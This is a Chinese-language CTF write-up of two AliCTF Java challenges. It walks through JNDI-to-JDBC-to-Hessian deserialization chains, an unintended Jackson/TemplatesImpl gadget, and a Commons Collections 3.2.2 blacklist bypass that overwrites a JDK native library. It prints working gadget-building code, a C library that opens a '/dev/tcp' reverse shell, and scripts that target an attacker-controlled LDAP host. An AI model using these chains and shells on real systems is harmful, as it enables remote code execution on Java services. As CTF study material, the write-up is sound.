前言 alictf的题目一如既往的优质,太久没写博客了,象征性更一下吧就(
MHGA 三血出的,但是打的非预期🤭🤭🤭
先学习一下预期解,本来队里已经要分析出来了,不过没来得及串起来就被我非预期截胡了hhhh
预期解 题目依赖为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependencies > <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.66</version > </dependency > <dependency > <groupId > com.databricks</groupId > <artifactId > databricks-jdbc</artifactId > <version > 2.6.38</version > </dependency > <dependency > <groupId > org.vibur</groupId > <artifactId > vibur-dbcp</artifactId > <version > 26.0</version > </dependency > </dependencies >
预期解需要思考到这五个点:
Vibur DBCP JNDI 绕过
Databricks JDBC Attack to JNDI 注入
HessianProxyFactory JNDI 绕过
Hessian JDK-Only 反序列化
trustSerialData 绕过
Gadget为JNDI -> JDBC -> JNDI -> HessianProxyFactory(不走黑名单) -> hessian原生JDK反序列化链
看起来绕了一圈,但是这里出题人是故意这么整的。后面分析分析就知道了。
Vibur DBCP JNDI2JDBC 高版本JNDI注入我们一般考虑找本地的ObjectFactory。题目提供的vibur-dbcp存在一个不难找到的ViburDBCPObjectFactory:
虽然说这个依赖在JDBC攻击里不太常见,不过类比一下就能知道大差不差的:
1 2 3 4 5 Reference ref = new Reference ("javax.sql.DataSource" , "org.vibur.dbcp.ViburDBCPObjectFactory" , null ); ref.add(new StringRefAddr ("driverClassName" , "aaa" )); ref.add(new StringRefAddr ("jdbcUrl" , "bbb" )); ref.add(new StringRefAddr ("username" , "test" )); ref.add(new StringRefAddr ("password" , "test" ));
类似如此将JNDI注入转化成JDBC Attack。
Databricks JDBC2JNDI 这里跟一个之前爆过的议题有关系,我们也是找到了:
jdbc-tricks/jdbc-test-case/jaas4jdbc/src/main/java/databricks/Databricks.java at main · yulate/jdbc-tricks
A Novel Attack Surface: Java Authentication and Authorization Service (JAAS) - Black Hat Europe 2024 | Briefings Schedule
基础payload即为:
jaas.conf:
1 2 3 4 5 6 7 8 Client { com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://127.0.0.1:1389/wr4euw" group.provider.url="test" useFirstPass=true serviceName="test" debug=true ;} ;
但是这个打法只是验证本地配置文件,远程题目肯定不会给你准备这个玩意,但是对于最后这里的krbJAASFile值,我们可以使用https协议挂远程服务和文件,参考这篇博客可以直接拿到payload,将JDBC攻击转化为JNDI:
Databricks JDBC 通过 JAAS 攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import Flask, request app = Flask(__name__)@app.route('/jaas.conf' , methods=['POST' ,'GET' ] ) def SSOJSON (): if request.method == 'GET' : jaas_conf_path = '/root/ssl/jaas.conf' try : with open (jaas_conf_path, 'r' ) as file: jaas_content = file.read() return jaas_content except Exception as e: return false;if __name__ == '__main__' : app.run('0.0.0.0' , debug=True , port=443 , ssl_context=('/root/ssl/jdbc.pyn3rd.com.pem' , '/root/ssl/jdbc.pyn3rd.com.key' ))
HessianProxyFactory JNDI2evilSerialize 通过上一步,又从JDBC兜圈子兜回了JNDI,那么我们还需要找到一个本地工厂类来挂反序列化payload。
这里也是翻hessian源码不难找到HessianProxyFactory。
su18的博客有过介绍:
而HessianProxyFactory 本质上是为Hessian Web RPC服务的,如果服务端暴露一个可以接收Hessian序列化数据的 HessianServlet,然后客户端就可以通过动态代理 的方式与服务端的Servlet交互,实现 RPC 调用。
跟一下源码,可以知道HessianProxyFactory的getObjectInstance方法会创建一个HessianProxy代理对象:
跟进create方法:
重点关注最后一个重写的create方法,其中 api 为动态代理的接口类,url 为服务端暴露的 Hessian Servlet 地址,handler 为 HessianFactory。
而在JDK动态代理中,通过Proxy.newProxyInstance创建代理对象后,这个对象的任何方法调用都会在最后触发到InvocationHandler的invoke方法。
结合起来,对于我们找的这个HessianProxy则是com.caucho.hessian.client.HessianProxy#invoke:
略过几个methodName判断,可以跟进到这个sendRequest():
这个sendRequest就是对之前的url发请求,继续跟进到一些if判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int code = is.read(); if (code != 72 ) { } int major = is.read();int minor = is.read();AbstractHessianInput in = this ._factory.getHessian2Input(is);Object value = in.readReply(method.getReturnType());if (value instanceof InputStream) { value = new ResultInputStream (conn, is, in, (InputStream)value); is = null ; conn = null ; } var12 = value;
is.read()会读取出首字节然后进行判定。而72的ASCII字符为H:
如果这个字符是H,接下来它将读取后两个字节分别保存为major和minor,并调用到in.readReply(method.getReturnType())。
这里的readReply实则是调用到了com.caucho.hessian.io.Hessian2Input#readReply:
这里就会读一个字节保存为int变量tag,换成ASCII可知这里如果tag为R(tag == 82)则进入readObject(expectedClass),expectedClass就是method.getReturnType(),也就是前面动态代理的调用中被代理方法的返回值类型。
这下我们终于从题目给出的JNDI走到了readObject点位,可以愉快地打反序列化了。
Hessian原生JDK反序列化链 然后就是Hessian原生JDK反序列化链条构造了,这个网上博客也写了很多,注意这里需要不走黑名单,官方用的方法是JavaUtils.writeBytesToFilename + System.load打文件上传到动态链接库的 RCE Gadget。
但题目用的是JDK11,JDK11中是不能够再使用SwingLazyValue了的,需要用ProxyLazyValue代替:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import com.caucho.hessian.io.Hessian2Output;import map.jndi.util.ReflectUtil;import javax.swing.*;import java.io.ByteArrayOutputStream;import java.lang.reflect.Method;import java.util.HashMap;public class HessianGadgets { public static byte [] loadLibrary(String fileName, byte [] content) throws Exception { UIDefaults.ProxyLazyValue proxyLazyValue1 = new UIDefaults .ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils" , "writeBytesToFilename" , new Object []{fileName, content}); UIDefaults.ProxyLazyValue proxyLazyValue2 = new UIDefaults .ProxyLazyValue("java.lang.System" , "load" , new Object []{fileName}); ReflectUtil.setFieldValue(proxyLazyValue1, "acc" , null ); ReflectUtil.setFieldValue(proxyLazyValue2, "acc" , null ); UIDefaults u1 = new UIDefaults (); UIDefaults u2 = new UIDefaults (); u1.put("aaa" , proxyLazyValue1); u2.put("aaa" , proxyLazyValue1); HashMap map1 = makeMap(u1, u2); UIDefaults u3 = new UIDefaults (); UIDefaults u4 = new UIDefaults (); u3.put("bbb" , proxyLazyValue2); u4.put("bbb" , proxyLazyValue2); HashMap map2 = makeMap(u3, u4); HashMap map = new HashMap (); map.put(1 , map1); map.put(2 , map2); return serialize2(map); } private static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception { HashMap<Object, Object> map = new HashMap <>(); Method putValMethod = HashMap.class.getDeclaredMethod("putVal" , int .class, Object.class, Object.class, boolean .class, boolean .class); putValMethod.setAccessible(true ); putValMethod.invoke(map, 0 , v1, 123 , false , true ); putValMethod.invoke(map, 1 , v2, 123 , false , true ); return map; } private static byte [] serialize2(Object o) throws Exception { ByteArrayOutputStream bao = new ByteArrayOutputStream (); Hessian2Output output = new Hessian2Output (bao); output.getSerializerFactory().setAllowNonSerializable(true ); output.writeObject(o); output.flush(); return bao.toByteArray(); } }
1 2 3 4 5 6 7 8 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { unsetenv("LD_PRELOAD" ); system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'" ); }
1 gcc -shared -fPIC exp.c -o exp.so
怎么触发Hessian反序列化? 理论Gadget通了,但是怎么触发的Hessian反序列化呢🤔🤔🤔?
我们通过 HessianProxyFactory 能够在 JNDI 注入的时候创建一个 HessianProxy 动态代理对象,但是要想调用 HessianProxy 的 invoke 方法,就必须得在这个动态代理对象上调用任意一个方法 。
这就是问题所在啊!
我们看看题目的JNDI接口:
这里直接是(new InitialContext()).lookup(url),并不是形如 Object obj = new InitialContext().lookup(url) 然后 obj.xxx() 的写法。
所以看懂了吗?
这就是不能直接在一开始使用HessianProxyFactory来打JNDI注入的原因。因为这样仅仅创建了一个动态代理对象,并没有调用到HessianProxyFactory的某个方法,如此便到不了它的invoke方法了。
这里作者也是给了另外Vibur和Databricks的依赖,而对于 Databricks的JNDI注入,跟进可知触发到com.sun.security.auth.module.JndiLoginModule#attemptAuthentication:
这里触发JNDI注入,但是它将ctx强转成了javax.naming.directory.DirContext接口类,后面这个ctx对象则会调用ctx.search方法进行搜索。
这就触发了任意的一个方法,所以我们可以通过动态代理构造一个实现 javax.naming.directory.DirContext 接口的对象,然后通过 search 方法触发动态代理调用。
综上所述,链条已通。
(X1哥出的题真是,这个兜圈子有点太刻晴了。。。)
trustSerialData 绕过 最后一个小问题需要解决,JDK21后trustSerialData被默认为false,打过高版本JNDI的都知道这个东西,而且JDK的更新是几个版本都动态更新的,所以这个trustSerialData的patch也逐渐应用到了JDK8、JDK11等等,包括这个题目环境。
不过我们仍然可以设置相关的 LDAP 参数, 使得服务端直接返回 Reference 对象, 因为这个过程没有涉及到反序列化, 所以也就绕过了 trustSerialData 参数的限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void processSearchResult (InMemoryInterceptedSearchResult searchResult) { Reference ref = (Reference) result; e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaClassName" , ref.getClassName()); e.addAttribute("javaFactory" , ref.getFactoryClassName()); Enumeration<RefAddr> enumeration = ref.getAll(); int posn = 0 ; while (enumeration.hasMoreElements()) { StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); e.addAttribute("javaReferenceAddress" , "#" + posn + "#" + addr.getType() + "#" + addr.getContent()); posn ++; } }
EXP 所有的所有都被X1哥集成到它最新那个JNDIMap里了,复现我就懒得搓LDAPServer了:
1 java -jar JNDIMap-0.0.5.jar --use-reference-only -i vps
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport base64 url = 'http://127.0.0.1:8000/lookup' host = 'vps:ldap_port' path = 'exp.so' hessian_url = 'ldap://' + host + '/Hessian/javax.naming.directory.DirContext/LoadLibrary/' + base64.urlsafe_b64encode(path.encode()).decode() jndi_url = 'ldap://' + host + '/Vibur/Databricks/JNDI/' + base64.urlsafe_b64encode(hessian_url.encode()).decode() resp = requests.get(url, headers={'X-Lookup-URL' : jndi_url})print (resp.text)
非预期解 当时我们分析这道题有两个思路。
一个是上述预期解这样走Proxy动态代理打Hessian反序列化链,另一个是直接找这个题目的链子打原生链,然后搓一个JRMPListener发送恶意序列化payload即可。
思考第一个思路比较久后无果,我便尝试第二个思路了,当时还在找能不能找到什么原生链可以用来打TemplateImpl恶意字节码,但是Spring、Jackson这种都被阉割了,也没有什么能打的依赖。
难绷的是,经过一通翻,真在Databricks里找到了Jackson依赖的平替com.databricks.client.jdbc.internal.fasterxml.jackson,而且里面也有POJONode,也能调用到toString方法:
那还说啥了,直接等效替换打Jackson原生,flag给你了。
只不过没Spring依赖所以打不了稳定的Aop链,把这部分去掉即可。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 public class PayloadGenerator { public static Object getPayload () throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader cl = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(cl, null ); } catch (Exception ignored) { System.out.println(ignored); } byte [] code1 = getTemplateCode("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "MHGA" ); setFieldValue(templates, "_bytecodes" , new byte [][]{code1}); setFieldValue(templates, "_tfactory" , new com .sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); setFieldValue(templates, "_transletIndex" , 0 ); POJONode node = new POJONode (templates); BadAttributeValueExpException badAttribute = new BadAttributeValueExpException (null ); setFieldValue(badAttribute, "val" , node); return badAttribute; } public static byte [] serialize(Object obj, boolean printBase64) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); if (printBase64) { System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } return baos.toByteArray(); } public static byte [] getTemplateCode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("EvilTemplates_" + System.nanoTime()); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); String block = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");" ; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue (Object obj, String fieldName, Object val) throws Exception { Field f = null ; Class<?> c = obj.getClass(); while (c != null ) { try { f = c.getDeclaredField(fieldName); break ; } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } if (f == null ) throw new NoSuchFieldException (fieldName); f.setAccessible(true ); f.set(obj, val); } }
手搓一个JRMPListener,挂vps上即可。
JDK11没有强制的模块化,所以不用像JDK17那样用Unsafe和bypassModule。
小插曲则是,我忘了看那个配置文件,配置文件是将flag直接chmod 000了,这里其实不涉及什么提权,所以chmod 777 /flag就能直接读了。。。。
Fileury 本地通远程不通的难绷题。
题目给了aspectJweaver,很容易想到打文件上传+System.load的combo打法。
但是远程不知道jdk路径,队里学长docker测了无数个版本的都不太行emmmmm
反序列化点位很显然:
但是直接序列化aspectJweaver会发现在fury黑名单中。
预期解 这里官网给的做法是二次反序列化,而且后续打的是覆盖/usr/local/openjdk-8/jre/lib/jce.jar,通过重写jar中的javax.crypto.NoSuchPaddingException类来进行利用,然后反序列化点位实例化并加载这个类即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.app;import org.apache.fury.Fury;import org.apache.fury.config.Language;import java.util.Base64;public class jce_exp { public static void main (String[] args) throws Exception { Class<?> forName = Class.forName("javax.crypto.NoSuchPaddingException" ); Object instance = forName.newInstance(); Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false ).withRefTracking(true ).build(); byte [] bytes_final = fury.serialize(instance); System.out.println(Base64.getEncoder().encodeToString(bytes_final)); } }
但这道题其实不需要二次反序列化,难绷。
非预期解 CC3.2.2的修复 可以在题目文件的CommonsCollections的pom.xml中看到版本是3.2.2,对于3.2.2,通过diff可以发现,新版代码中增加了⼀个方法:
1 FunctorUtils#checkUnsafeSerialization
用于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会抛出异常。
这个检查在常见的危险Transformer类 (InstantiateTransformer、 InvokerTransformer、 PrototypeFactory、 CloneTransformer等)的 readObject 里进行调用,所以当我们反序列化包含这些对象时就会抛出⼀个异常。
所以这里我们需要在Exp中先用System.setProperty设置org.apache.commons.collections.enableUnsafeSerialization=false,防止本地报错。
挖掘出类似CC链的链条 Apache Commons Collections(ACC 3.2.2+)的安全修复并不是“修复”了反序列化漏洞本身,而是通过 FunctorUtils.checkUnsafeSerialization 方法建立了一个黑名单。当 enableUnsafeSerialization=false(默认值)时,以下类在反序列化时会抛出异常:
1 2 3 4 5 6 InvokerTransformer InstantiateTransformer CloneTransformer PrototypeFactory ForClosure ... 等
但是我们可以挖掘出形如MapTransformer, FactoryTransformer, ConstantFactory, LazyMap, TransformingComparator的类来拼接反序列化链条。 而这些类在 ACC 3.2.2+ 中被认为是“功能性”的类,没有被加入黑名单。因此,即使目标环境设置了禁止不安全序列化,这些类依然可以被正常反序列化。
学长打的是覆盖libjaas_unix.so,位于/usr/local/openjdk-8/jre/lib/amd64,然后再打一发System.load()即可。
但是我们其实还是会使用到InvokerTransformer,不过这里的 InvokerTransformer 只是用来初始化 PriorityQueue,防止构造函数报错:
1 2 3 4 InvokerTransformer invokerTransformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (invokerTransformer)); setFieldValue(queue, "comparator" , transformingComparator);
随后通过反射将 queue 中的 comparator 替换成了 transformingComparator(包装了 MapTransformer),这意味着最终生成的序列化数据中,根本就不包含 InvokerTransformer 这个对象,不会被ban。
Gadgets 1 2 3 4 5 6 7 8 9 10 PriorityQueue.readObject() -> PriorityQueue.heapify() / siftDown() -> TransformingComparator.compare() -> MapTransformer.transform("libjaas_unix.so" ) -> LazyMap.get("libjaas_unix.so" ) -> FactoryTransformer.transform() [因为 Key 不存在,触发创建] -> ConstantFactory.create() [返回 exp.so 的字节数组] -> LazyMap 调用 map.put("libjaas_unix.so" , byte_array) -> SimpleCache$StoreableCachingMap.put() -> 写入文件: /usr/local/openjdk-8 /jre/lib/amd64/libjaas_unix.so
然后再类似的替换最后那部分去调用System.load再打一发即可。
懒得再写Exp打复现了,就这样吧😀😀😀
后记 这两道挺有意思的,所以写写学习学习。
staircase太tricky了,不看不看🤭🤭🤭
参考:
第四届阿里CTF官方writeup-先知社区
Databricks JDBC 通过 JAAS 攻击
Hessian 反序列化知一二 | 素十八
A Novel Attack Surface: Java Authentication and Authorization Service (JAAS) - Black Hat Europe 2024 | Briefings Schedule
jdbc-tricks/jdbc-test-case/jaas4jdbc/src/main/java/databricks/Databricks.java at main · yulate/jdbc-tricks